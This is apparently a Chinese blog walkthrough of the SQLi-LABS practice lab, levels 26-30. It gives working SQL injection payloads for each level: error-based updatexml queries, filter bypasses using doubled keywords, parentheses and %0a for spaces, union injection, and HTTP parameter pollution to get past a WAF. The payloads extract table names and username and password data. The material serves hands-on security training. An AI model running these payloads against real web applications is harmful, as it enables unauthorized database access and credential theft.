当前位置: 首页 > ai >正文

SQL注入SQLi-LABS 靶场less26-30详细通关攻略

less 26 GET -Error based -All your SPACES and COMMENTS belong to us

1.判断闭合方式

在我们尝试闭合方式的时候发现将我们的and or 空格 注释都过滤掉了,那我们就给他构造一个aandnd进行绕过,空格使用()代替,%20 +都不能使了。

?id=1'oorr'				//页面正常
?id=1''oorr'			//页面错误

2.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

3.构造报错注入语句获取数据库名称

-1' aandnd (updatexml(1,concat(1,database()),3)) oorr'

4.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤,每个空格都会被过滤所以我们使用括号代替时要替换完整。

-1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),3)) oorr'

5.查询字段名

-1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),3)) oorr'

6.查询具体信息

password中的or。

-1'aandnd(updatexml(1,concat(1,(select(group_concat(username,passwoorrd)) from (users))),2)) oorr'

less 27 GET -Error based -All your UNION & SELECT belong to us -String -Single quote

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union,select。使用()代替空格,大小写代替union和select。

1' and  (1=2)or'
1' and  (1=1)or'

2.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

3.构造报错注入语句获取数据库名称

-1' and (updatexml(1,concat(1,database()),3)) or'

4.构造语句查询数据库中的表信息

-1'and(updatexml(1,concat(1,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),3)) or'

5.查询字段名

-1'and(updatexml(1,concat(1,(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),3)) or'

6.查询具体信息

-1'and(updatexml(1,concat(1,(seleCt(group_concat(username,password)) from (users))),2)) or'

less28 GET -Error Based -All your UNION & SELECT Belong to us -String -Single quote with parenthesis

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union select。使用%0a代替空格,双写代替union select。

2' and '1' ='1
2' and '1' ='2

这里面是存在闭合的,里面如果是')闭合的话代码为('2' and '1' = '1')回显正常所以,这里的闭合为')

2.判断注入方式

这一关没有报错信息,过滤了我们的union select 我们进行绕过后联合注入。

3.构造报错注入语句获取数据库名称

符号也被过滤了,直接使用0使他们正常页面回显不出来,回显我们的联合注入内容。

0')uni union%0Aselecton%0Aselect%0A1,database(),3%0Aand%0A('1

4.构造语句查询数据库中的表信息

0')uni union%0Aselecton%0Aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0a where %0a table_schema='security'),3%0Aand%0A('1

5.查询字段名

0')uni union%0Aselecton%0Aselect%0A1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0a where %0a table_schema='security'%0a and %0atable_name='users'),3%0Aand%0A('1

6.查询具体信息

0')%0a union%0a union %0aselect %0a select %0a1,(select%0agroup_concat(username,password)%0afrom%0ausers),3%0Aand%0A('1

less29 GET -Error Based IMPIDENCE MISMATCH - Having a WAF in front of web application

查看源代码,有两个参数,但是会对第一个参数进行校验,所以我们可以将我们的注入语句放在我们的第二个参数上。

1.判断闭合方式

1&id=2' and '1'='1
1&id=2' and '1'='2

2.判断回显点

1&id=-1' union select 1,2,3 and '1'='1

3.构造语句查看数据库名

1&id=-1' union select 1,database(),3 and '1'='1

4.构造语句查看数据表的表名

1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

5.构造语句查看表内字段名

1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'and '1'='1

6.构造语句查看信息

这里后面的注释一直报错,更换了一下

2&id=0' union select 1,2,group_concat(username,password) from users --+

less30 GET -BLIND IMPIDENCE MISMATCH - Having a WAF in front of web application

这一关和上一关(29)除了闭合方式不一样外其他的一模一样,仅给出输入参数图片就不贴了。相信各位大佬都会的。

1.数据库名

1&id=-1' union select 1,database(),3 and '1'='1

2.表名

1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

3.字段名

1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'and '1'='1

4.具体信息

2&id=0' union select 1,2,group_concat(username,password) from users --+
http://www.xdnf.cn/news/16525.html

相关文章:

  • 深入解析Java元注解与运行时处理
  • ​第七篇:Python数据库编程与ORM实践
  • 前缀和-974.和可被k整除的子数组-力扣(LeetCode)
  • [mcp: JSON-RPC 2.0 规范]
  • 机器学习之线性回归——小白教学
  • LRU(Least Recently Used)原理及算法实现
  • 最新优茗导航系统源码/全开源版本/精美UI/带后台/附教程
  • BreachForums 黑客论坛强势回归
  • sqLite 数据库 (2):如何复制一张表,事务,聚合函数,分组加过滤,列约束,多表查询,视图,触发器与日志管理,创建索引
  • JAVA_TWENTY—ONE_单元测试+注解+反射
  • 学习Python中Selenium模块的基本用法(3:下载浏览器驱动续)
  • Seq2Seq学习笔记
  • 前端优化之虚拟列表实现指南:从库集成到手动开发
  • 嵌入式学习日志————TIM定时中断之定时器定时中断
  • Python算法实战:从排序到B+树全解析
  • 算法精讲:二分查找(一)—— 基础原理与实现
  • 自学嵌入式 day37 HTML
  • 信号上升沿时间与频谱分量的关系
  • FastAPI后台任务:异步魔法还是同步噩梦?
  • Simulink建模-Three-Phase V-I Measurement 模块详解
  • Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现各种食物的类型检测识别(C#代码UI界面版)
  • react 的 useTransition 、useDeferredValue
  • GitHub下载项目完整配置SSH步骤详解
  • Python day28
  • Linux重定向的理解
  • Mysql缓冲池和LRU
  • 树形结构递归查询与嵌套结构转换:Flask + PostgreSQL 完整实现
  • Linux 启动流程、密码破解、引导修复完全手册
  • MoR vs MoE架构对比:更少参数、更快推理的大模型新选择
  • vue面试题